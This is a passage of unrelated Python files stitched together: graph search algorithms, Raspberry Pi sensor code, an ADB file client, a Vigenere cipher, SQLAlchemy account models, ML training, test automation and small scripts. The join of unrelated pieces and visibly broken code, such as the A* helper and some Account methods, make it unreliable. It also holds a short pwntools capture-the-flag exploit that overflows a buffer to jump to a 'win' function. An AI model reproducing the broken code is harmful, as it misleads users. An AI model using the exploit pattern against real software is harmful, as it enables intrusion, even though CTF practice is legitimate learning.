        if depth[node]>max_depth: # check maximum depth condition
            return
        if result and result[-1]==target: # check if goal node is found
            return
        visited.add(node)
        result.append(node)
        for other in self.adj[node]:
            if other not in visited:
                depth[other]=depth[node]+1 # keeps track of depth ->depth of child is parent+1
                self._helper_dls(other,visited,result,target,depth,max_depth)

    def iterative_deepening(self, start, target, max_depth):

        '''
        Iterative Deepening Search where given a maximum depth we will search
        iteratively in every depth from 0-max_depth and return path if found.

        :param start: Node to start search from
        :param target: Node to search for
        :param max_depth: Maximum depth to limit search space <= maximum depth

        :return: Path to node if found
        '''

        flag=0
        for current_depth in range(max_depth+1): # for every depth from 0 to maximum depth run a depth limited search
            result=self.dls(start,target,current_depth)
            if not isinstance(result,str):
                return result
        return "Node not Found"

    def bi_directional(self):
        pass

    def Astar(self,start, target):
        result = set()
        visited = set()
        pqueue = []
        star= defaultdict()
        star[start]= 0
        target_found =False
        self._helper_Astar(star, visited, start, target, pqueue, result, target_found)
        if target in result:
            return result
        else:
            return"Node not Found"

    def _helper_Astar(self, star, visited, node, target, pqueue, result, target_found):
        if target_found:
            return
        visited.add(node)
        result.add(node)
        for other in self.adj[node]:
            if other in visited:
                continue
            visited.add(other)
            pqueue.append(other)
            if target == other[0]:
                target_found = True
                return

        while len(pqueue)!=0:
            x = min(pqueue)[1]
            for i in range(len(pqueue)):
                if pqueue[i][1]== x:
                    x=i
                    break
            if pqueue[x] in result: result.pop(pqueue[x])
            node2 = pqueue.pop(x)
            # if node2 in visited: continue
            self._helper_Astar(star, visited, node2[0], target, pqueue, result, target_found)

    def __str__(self):
        return f'{dict(self.adj)}'

'''
    2
   /
  7 -- 10
 / \
1    6 --    5
 \    \
  8    11
   \
    9
     \
      4
'''

edgelist = [(1,7),(7,2),(7,10),(7,6),(6,5),(6,11),(1,8),(8,9),(9,4)]

# https://media.cheggcdn.com/media/cb6/cb6e15aa-4815-47a4-b2ff-ca9086722f40/phpj6mHyD
# s1  a2  b3  c4  d5  e6  f7  g1 8  g2 9  g3 10

# edgelist=[(1,2,5),(1,3,9),(1,5,6),(2,3,3),(2,8,9),(3,2,2),(3,4,2),(4,1,6),(4,7,7),(4,9,5),(5,1,1),(5,4,1),(5,6,2),(6,10,7),(7,5,2),(7,10,8),(8,9,0)]
# graph=Graph(edgelist, True, True, True)

graph=Graph(edgelist)
printer=pprint.PrettyPrinter()
printer.pprint(dict(graph.adj))
# print(graph)

'''
start = timer()

bfs=graph.bfs('A','K')

end = timer()
print(end - start)
print(bfs)
'''

print('\nPath Algorithm takes until it reaches target: \nBreath First Search (BFS)')
print(graph.bfs(1,4))

print('\nPath Algorithm takes until it reaches target: \nDepth First Search (DFS)')
print(graph.dfs(1,4))

print('\nPath Algorithm takes until it reaches target: \nDepth Limit Search (DLS)')
print(graph.dls(1,11, 4))

print('\nPath Algorithm takes until it reaches target: \nIterative Deepening (IDDFS)')
print(graph.iterative_deepening(1,11, 4))

# print('\nPath Algorithm takes until it reaches target: \nA-star (A*)')
# print(graph.Astar(1,10))


import os
from smbus2 import SMBus
import time

#bus = SMBus(1)

def measure_int_temp():
	temp = os.popen("vcgencmd measure_temp").readline()
	temp = temp.replace("temp=", "")
	temp = temp.replace("'C", "")
	temp = temp.replace("\n", "")
	return float(temp)

def measure_ext_temp():
	with SMBus(1) as bus:
		temp = bus.read_i2c_block_data(0x40, 0xE3,2)
	time.sleep(0.1)
	cTemp = ((temp[0] * 256 + temp[1]) * 175.72 / 65536.0) - 46.85
	return round(cTemp, 1)

def measure_ext_humid():
	with SMBus(1) as bus:
		rh = bus.read_i2c_block_data(0x40, 0xE5, 2)
	time.sleep(0.1)
	humidity = ((rh[0] * 256 + rh[1]) * 125 / 65536.0) - 6
	return round(humidity, 1)

if __name__ == "__main__":
	print("Internal Temp:     " + str(measure_int_temp()))
	print("External Temp:     " + str(measure_ext_temp()))
	print("External Humidity: " + str(measure_ext_humid()))

Demos/Simple Rasperry Pi Data Collection/datamonitorplus.py


from adb_shell.adb_device import AdbDeviceTcp
from adb_shell.auth.sign_pythonrsa import PythonRSASigner
from pathlib import Path
import os
import re
import sys
import copy
import threading

class UploadThread (threading.Thread):

    def __init__(self, f, filenames, remote_dir):
        threading.Thread.__init__(self)
        # self.thread_id = thread_id
        self.push_function = f
        self.filenames = copy.deepcopy(filenames)
        self.remote_dir = remote_dir

    def run(self):
        print(self.filenames)
        for filename in self.filenames:
            self.push_function(filename, Path(os.path.join(self.remote_dir, filename.split('/')[-1])).as_posix())
            print('Upload ', filename, 'Done')

class DownloadThread (threading.Thread):

    def __init__(self, f, filename, local_dir):
        threading.Thread.__init__(self)
        # self.thread_id = thread_id
        self.pull_function = f
        self.filename = filename
        self.local_dir = local_dir

    def run(self):
        self.pull_function(self.filename, Path(os.path.join(self.local_dir, self.filename.split('/')[-1])).as_posix())
        print('Download ', self.filename, 'Done')

# arp -a -> show ip & device
class AdbConnect:

    def __init__(self, ip):
        self.ip = ip
        self.device = None
        self.user_root = '/storage/emulated/0/'
        self.current_dir = None
        self.dirs = []
        self.files = []
        if sys.platform.startswith('win'):
            import winreg
            key = winreg.OpenKey(
                winreg.HKEY_CURRENT_USER, r'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders')
            self.default_download_dir = Path(winreg.QueryValueEx(key, "Desktop")[0]).as_posix()
        else:
            self.default_download_dir = os.path.expanduser('~')
        self.current_down_dir = self.default_download_dir

    def set_ip(self, ip):
        self.ip = ip

    def connect(self):
        with open(os.path.join(os.path.expanduser('~'), '.android/adbkey')) as f:
            p = f.read()
        signer = PythonRSASigner('', p)
        self.device = AdbDeviceTcp(self.ip, 5555, default_timeout_s=9.)
        self.device.connect(rsa_keys=[signer], auth_timeout_s=0.1)
        # ls -l
        self.ls()
        print('connect')

    def disconnect(self):
        if self.device is not None:
            self.device.close()
        print('close')

    def check_dir_or_file(self, names):
        detailed_names = re.split('\n', names)[1:-1]
        # print(detailed_names)
        # 7 -> support space in filename
        self.dirs, self.files = [], []
        for e in detailed_names:
            if e.startswith('d'):
                self.dirs.append(re.split('\s+', e, maxsplit=7)[-1])
            else:
                self.files.append(re.split('\s+', e, maxsplit=7)[-1])

    def ls(self, dir_name=None):
        if dir_name is None:
            self.current_dir = self.user_root
        else:
            self.current_dir = dir_name
        dir_file_names = self.device.shell('ls -la "' + self.current_dir + '"')
        self.check_dir_or_file(dir_file_names)
        # print('dirs', self.dirs, 'files', self.files, sep='\n')

    def change_directory(self, dir_name):
        if dir_name == '.':
            # do nothing
            pass
        elif dir_name == '..':
            self.current_dir = Path(self.current_dir).parent.as_posix()
        else:
            self.current_dir = Path(os.path.join(self.current_dir, dir_name)).as_posix()
        self.ls(self.current_dir)
        # print(self.current_dir, 'dirs', self.dirs, 'files', self.files, sep='\n')

    def pull_file(self, filename):
        download_dir = self.current_down_dir
        d_thread = DownloadThread(f=self.device.pull, filename=Path(os.path.join(self.current_dir, filename)).as_posix(), local_dir=download_dir)
        d_thread.start()
        # self.device.pull(
        #     Path(os.path.join(self.current_dir, filename)).as_posix(),
        #     os.path.join(download_dir, filename)
        # )

    def thread_upload(self, local_files):
        # remote_dir -> current dir
        u_thread = UploadThread(f=self.device.push, filenames=local_files, remote_dir=self.current_dir)
        u_thread.start()
        # for e in local_files:
        #     self.device.push(e, Path(os.path.join(self.current_dir,e.split('/')[-1])).as_posix())


import cs50
import sys

# MAIN FUNCTION
def main():
    if (len(sys.argv) != 2 or not (sys.argv[1].isalpha())):
        print("Usage: python vigenere.py key")
        exit(1)

    # store key
    key = sys.argv[1].upper()

    # store user plaintext
    while True:
        print("plaintext: ", end='')
        plaintext = cs50.get_string()
        if (plaintext):
            break

    # Ouput. Vigenere function handles the conversion of userinput into cipher output
    print('ciphertext: ', end='')
    vigenere(plaintext, key)

# Converts user input and key into cipher output
def vigenere(plaintext, key):
    # meant to keep track of key's position
    c = 0
    n = len(key)

    # go through every element in user input
    for i in plaintext:
        # reset key position if it reached the end
        if (c == n):
            c = 0

        # how much to shift by
        shift = ord(key[c]) - ord('A')
        # if current letter is an alphabet
        if (i.isalpha()):
            # perform the shit and increment to next postion in key
            tmp = chr(ord(i) + shift)
            c += 1

            # if the shifted postion is an alphabet, simply print it
            if (tmp.isalpha()):
                print(tmp, end='')
            # if shifted position is not an alphabet, wrap around
            else:
                print(chr(ord(tmp) - 26), end='')
        # if current element is not an alphabet, simply print it
        else:
            print(i, end='')
    # end of user input, everything has been shifted
    print()

if __name__ == '__main__':
    main()


"""
.. class-uml::

	Account {
		balance:Integer
		name:String
	}

	Mutation {
		to:Account
		from:Account
		amount:Float
		currency:[EUR]
		date:Date
		description:String
		specification:String
	}
"""
from __future__ import print_function
import re
from datetime import datetime

from sqlalchemy import Column, Integer, Float, String, Boolean, Text, \
    ForeignKey, Table, Index, DateTime, select, func
from sqlalchemy.orm import relationship

from script_mpe.taxus import core
from script_mpe.taxus.mixin import CardMixin
from script_mpe.taxus.init import SqlBase
from script_mpe.taxus.util import ORMMixin

ACCOUNT_CREDIT = "Account:Credit"
ACCOUNT_EXPENSES = "Expenses"
ACCOUNT_ACCOUNTING = "Expenses:Account"

class Account(SqlBase, ORMMixin):
    __tablename__ = 'accs'
    number = Column('number', Integer, primary_key=True)
    balance = Column(Integer)
    name = Column(String(255), unique=True, nullable=True)
    # classifiers? to match transactions
    #nl_p_number = Column(Integer, unique=True, nullable=True)
    #nl_number = Column(Integer, unique=True, nullable=True)
    #iban = Column(String(255), unique=True, nullable=True)
    account_id = Column('id', String(255), nullable=True)
    date_added = Column(DateTime, index=True, nullable=False)
    date_updated = Column(DateTime, index=True, nullable=False)
    deleted = Column(Boolean, index=True, default=False)
    date_deleted = Column(DateTime)

    def init_defaults(self, d):
        if not 'date_added' in d:
            d['date_added'] = d['date_updated'] = datetime.now()
        if not 'date_updated' in d:
            d['date_updated'] = datetime.now()
        return d

    def seed_defaults(self, kwds):
        for k, e in kwds.items():
            if not getattr(self, k):
                setattr(self, k, e)

    def seed(self, **kwds):
        kwds = self.init_defaults(dict(kwds))
        for k, e in kwds.items():
            setattr(self, k, e)
        return self

    def __str__(self):
        return "[Account %r #%s %s]" % ( self.name,
                self.iban or self.nl_number or self.nl_p_number,
                self.account_id)

    def set_nr(self, account_number):
        """
        XXX only valid for dutch acc nrs.
        """
        if valid_nl_p_number(account_number):
            self.nl_p_number = int(account_number[1:])
        elif valid_nl_number(account_number):
            self.nl_number = int(account_number)
        elif valid_iban(account_number):
            self.iban = account_number
        else:
            print('Unknown account number:', account_number)
            return False

    @classmethod
    def for_name_id(klass, session, account_nr, account_id=None):
        """
        Return existing or create.
        """
        acc_rs = session.query(Account).filter(
                Account.account_id == account_id).filter(
                Account.account_nr == account_nr.strip()).all()
        if acc_rs:
            acc = acc_rs[0]
        else:
            acc = Account(account_nr=account_nr.strip(), account_id=account_id)
            acc.init_defaults()
            session.add(acc)
            session.commit()
        return acc

    @classmethod
    def for_checkout(klass, session, descr):
        return klass.for_name_id(session, descr, "checkout")

    @classmethod
    def for_withdrawal(klass, session, descr):
        return klass.for_name_id(session, descr, "atm")

    @classmethod
    def for_nr(klass, session, account_number, assert_exists=False):
        """
        XXX only valid for dutch acc nrs.
        """
        if valid_nl_p_number(account_number):
            acc_rs = session.query(Account)\
                    .filter( Account.nl_p_number == int(account_number[1:]) ).all()
            if not acc_rs:
                acc_rs = session.query(Account)\
                        .filter( Account.iban.like('%'+account_number[1:])).all()
        elif valid_nl_number(account_number):
            acc_rs = session.query(Account)\
                .filter( Account.nl_number == int(account_number) ).all()
            if not acc_rs:
                acc_rs = session.query(Account)\
                        .filter( Account.iban.like('%'+account_number) ).all()
        elif valid_iban(account_number):
            acc_rs = session.query(Account)\
                .filter( Account.iban == account_number ).all()
            if not acc_rs:
                acc_rs = session.query(Account)\
                        .filter( Account.nl_number ==
                                int(account_number[-10:]) ).all()
            if not acc_rs:
                acc_rs = session.query(Account)\
                        .filter( Account.nl_p_number ==
                                int(account_number[-9:]) ).all()
        else:
            assert account_number
            if assert_exists:
                raise KeyError("No record for account-number %r" %
                        account_number)
            else:
                print('Unknown account number:', account_number)
            return

        if len(acc_rs) == 1:
            return acc_rs[0]
        else:
            assert not acc_rs or len(acc_rs) == 0

class Mutation(SqlBase, ORMMixin):
    """
    Temporary? table to hold mutations.
    """
    __tablename__ = 'muts'

    mut_id = Column('id', Integer, primary_key=True)
    date = Column(DateTime, index=True, nullable=False)
    from_account_nr = Column(Integer, ForeignKey('accs.number'), nullable=False)
    from_account = relationship(
            'Account', primaryjoin='Account.number==Mutation.from_account_nr')
    to_account_nr = Column(Integer, ForeignKey('accs.number'), nullable=False)
    to_account = relationship(
            'Account', primaryjoin='Account.number==Mutation.to_account_nr')
    category = Column(String(255), nullable=False)
    currency = Column(String(16), nullable=False)
    description = Column(Text)
    amount = Column(Float)

    def __str__(self):
        x = []
        f = ("mut_id date amount currency from_account to_account category"\
            +" description").split(' ')
        for p in f:
            x.append(getattr(self, p))
        return " ".join(map(str,x))

    @classmethod
    def forge(Klass, src, ctx, g):
        init = {}
        for c in Klass.__table__.columns:
            if hasattr(src, c.name):
                init[c.name] = getattr(src, c.name)

        init['from_account'] = ctx.assertaccount(src.from_account_nr)
        if src.debet_credit is 'C':
            init['to_account'] = ctx.assertaccount(src.to_account_nr,
                    _id=ACCOUNT_CREDIT, name=src.to_account_name)
        else:
            init['to_account'] = ctx.assertaccount(src.to_account_nr,
                    _id=ACCOUNT_EXPENSES, name=src.to_account_name)

        init['description'] = "\t".join([ getattr(src, a) for a in
                "descr descr2 descr3 descr4".split(' ')
            ])

        return Klass(**init)

# TODO: lookup checksum methods for acc nrs
def valid_iban(acc):
    return re.match('^[A-Z]{2}[0-9]{2}[A-Z]{4}[0-9]{10}$', acc)

def valid_nl_number(acc):
    return re.match('^[0-9]{9,10}$', acc)

def valid_nl_p_number(acc):
    return re.match('^P[0-9]{7,9}$', acc)

def fetch_expense_balance(settings, sa=None):
    "Return expense accounts and cumulative balance. "
    if not sa:
        sa = context.get_session(settings.dbref)
    expenses_acc = Account.all((Account.name.like(ACCOUNT_EXPENSES+'%'),), sa=sa)
    balance, = sa.query(func.sum(Mutation.amount))\
            .filter( Mutation.from_account.in_([
                acc.account_id for acc in expenses_acc ]) ).one()
    return expenses_acc, balance

from collections import deque

class Simplemovingaverage():
    def __init__(self, period):
        assert period == int(period) and period > 0, "Period must be an integer >0"
        self.period = period
        self.stream = deque()

    def __call__(self, n):
        stream = self.stream
        stream.append(n)    # appends on the right
        streamlength = len(stream)
        if streamlength > self.period:
            stream.popleft()
            streamlength -= 1
        if streamlength == 0:
            average = 0
        else:
            average = sum( stream ) / streamlength

        return average

models = [
        #INode,
        Account,
        Mutation,
        #Simplemovingaverage
    ]


from pwn import *

elf = ELF('./babiersteps')

offset = cyclic_find(0x62616166)

context.binary = elf

payload = offset * b'a'
payload += p64(elf.symbols.win)

# with remote('challenge.nahamcon.com', 31262) as p:
with elf.process() as p:
    p.sendline(payload)
    p.interactive()


from helper import *

class Trainer:

    def __init__(self, evaluator_helper):
        self.__evaluator_helper = evaluator_helper

    def set_logger(self, logger):
        self.__logger = logger

    def train_model(self, model, optimizer, local_model, local_optimizer, train_loader, train_images, train_labels, round_idx, loss_fn, flags):

        algorithm = flags.algorithm

        model_grads = []

        model.train()

        if "fishr" in algorithm.split("_") and ("geo" in algorithm.split("_") or "arith" in algorithm.split("_")):

            """ Fishr + Intra Geo Mean / Arith Mean """
            # Geometric mean / Arithmetic mean
            total_param_gradients = []
            for (images, labels) in train_loader:
                optimizer.zero_grad()
                param_gradients = get_model_grads(
                    images, labels, model, self.__evaluator_helper.mean_nll)
                total_param_gradients.append(param_gradients)

            optimizer.zero_grad()
            if "geo" in algorithm.split("_"):
                compute_geo_mean(list(model.parameters()),
                                 total_param_gradients, "geo_weighted", 0.001, flags)
                self.__logger.log("Calculate intra-silo geometric mean")
            elif "arith" in algorithm.split("_"):
                compute_arith_mean(
                    list(model.parameters()), total_param_gradients)
                self.__logger.log("Calculate intra-silo arithmetic mean")

            # Note: No need to update local model
            # local_optimizer.step()
            for model_param in list(model.parameters()):
                grad = model_param.grad
                grad_copy = copy.deepcopy(grad.detach())
                model_grads.append(grad_copy)

        else:
            # Model Gradients
            optimizer.zero_grad()
            model_grads = get_model_grads(
                train_images, train_labels, model, self.__evaluator_helper.mean_nll)

        # Fishr
        features, logits = model(train_images)
        grad_variance = compute_grad_variance(
            features, train_labels, model.classifier, loss_fn)

        # Calculate loss and accuracy
        train_loss = self.__evaluator_helper.mean_nll(logits, train_labels)
        train_acc = self.__evaluator_helper.mean_accuracy(logits, train_labels)

        return train_loss, train_acc, grad_variance, model_grads


from appium.webdriver.webdriver import WebDriver
from selenium.webdriver.common.by import By

class BasePage:
    _black_list = [
        (By.XPATH, "//*[@text='确认']"),
        (By.XPATH, "//*[@text='下次再说']"),
        (By.XPATH, "//*[@text='确定']"),
    ]
    _max_num = 3
    _error_num = 0

    def __init__(self, driver: WebDriver = None):
        self._driver = driver

    def find(self, locator, value: str = None):
        try:
            element = self._driver.find_element(*locator) if isinstance(locator, tuple) else self._driver.find_element(locator, value)
            self._error_num = 0
            self._driver.implicitly_wait(10)
            return element
        except Exception as e:
            self._driver.implicitly_wait(1)
            if self._error_num > self._max_num:
                raise e
            self._error_num += 1
            for ele in self._black_list:
                elements = self._driver.find_elements(*ele)
                if len(elements) > 0:
                    elements[0].click()
                    break
            return self.find(locator, value)


import urllib2,sys
from BeautifulSoup import BeautifulSoup

def parse_links(url):
    data = urllib2.urlopen(url).read()

    soup = BeautifulSoup(data)

    links = soup.findAll('a')
    for link in links:
    	if len(link['href']) > 10: yield link['href']


from flask import Flask, render_template, request
app = Flask(__name__)
import weather
import os

@app.route("/")
def index():
	name = request.values.get('name')
	location = request.values.get('location')
	forecast = None
	if location:
		forecast = weather.get_weather(location)
	return render_template('index.html', name=name, forecast=forecast)

@app.route('/about')
def about():
	return render_template('about.html')

if __name__ == "__main__":
	port = int(os.environ.get("PORT", 5000))
	app.run(host="0.0.0.0", port=port)


from collections import deque
import sys
M, N = map(int, input().split())

matrix = [list(map(int,input().split())) for i in range(N)]
# print(matrix)

dx = [-1,1,0,0]
dy = [0,0,-1,1]
queue = deque()
def bfs():
    while queue:
        x, y = queue.popleft()
        for k in range(4):
            nx = x + dx[k]
            ny = y + dy[k]
            if 0 <= nx < N and 0 <= ny < M and matrix[nx][ny] == 0:
                queue.append([nx,ny])
                matrix[nx][ny] = matrix[x][y] +1

for i in range(N):
    for j in range(M):
        if matrix[i][j] == 1:
            queue.append([i,j])
bfs()
result = -2 # -2보다 작을 수는 없으므로 최소값을 -2로 자븜
flag = False
for i in matrix:
    for j in i:
        if j == 0:  # 0이 하나라도 있으면 모두 익지 못하는 상황임
            flag = True
        result = max(result, j)
if flag == True:
    print(-1)
elif result == -1:
    print(0)
else:
    print(result-1)